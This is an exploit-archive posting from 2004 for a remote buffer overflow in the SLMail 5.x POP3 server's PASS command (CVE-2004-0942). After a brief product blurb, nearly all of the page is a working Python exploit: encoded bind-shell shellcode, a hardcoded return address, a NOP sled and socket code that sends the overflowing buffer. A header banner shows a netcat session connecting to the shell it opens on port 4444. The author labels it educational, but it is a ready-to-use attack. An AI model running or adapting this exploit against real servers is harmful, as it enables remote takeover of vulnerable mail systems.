what you don't know can hurt you

slmail5x.txt

slmail5x.txt
Posted Nov 20, 2004
Authored by muts | Site whitehat.co.il

SLMail 5.x POP3 remote PASS buffer overflow exploit that binds a shell to port 4444. Tested on Windows 2000 SP4.

tags | exploit, remote, overflow, shell
systems | windows, 2k
advisories | CVE-2004-0942
MD5 | 2f39531126d87191b5ceaf073ca81878

slmail5x.txt

Change Mirror Download
SLMail 5.x POP3 Remote Pass Buffer Overflow Exploit

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

INTRO:

SLMail Pro is web-based POP3 and SMTP email server software for MicrosoftT
Windows 2000 that includes advanced features usually found in
enterprise-level systems.
Seattlelab has been providing businesses with an alternative to expensive
email server software for 10 years. Because of its stability, features, and
price, SLMail Pro has created a niche in a competitive market, proving there
is no need to spend a small fortune to implement a secure, full-featured
email server solution.



PoC:

######################################
# #
# SLmail 5.5 POP3 PASS Buffer Overflow #
# Discovered by : Muts #
# Coded by : Muts #
# WWW.WHITEHAT.CO.IL #
# Plain vanilla stack overflow in the PASS command #
# #
######################################
# D:\Projects\BO>SLmail-5.5-POP3-PASS.py #
######################################
# D:\Projects\BO>nc -v 192.168.1.167 4444 #
# localhost.lan [192.168.1.167] 4444 (?) open #
# Microsoft Windows 2000 [Version 5.00.2195] #
# (C) Copyright 1985-2000 Microsoft Corp. #
# C:\Program Files\SLmail\System> #
######################################

import struct
import socket

print "\n\n############################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!"
print "\n\n############################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

#Tested on Win2k SP4 Unpatched
# Change ret address if needed
buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + sc
try:
print "\nSending evil buffer..."
s.connect(('192.168.1.167',110))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone! Try connecting to port 4444 on victim machine."
except:
print "Could not connect to POP3!"Regards to muts and WHSupport the Whoppix
project:http://whoppix.net/

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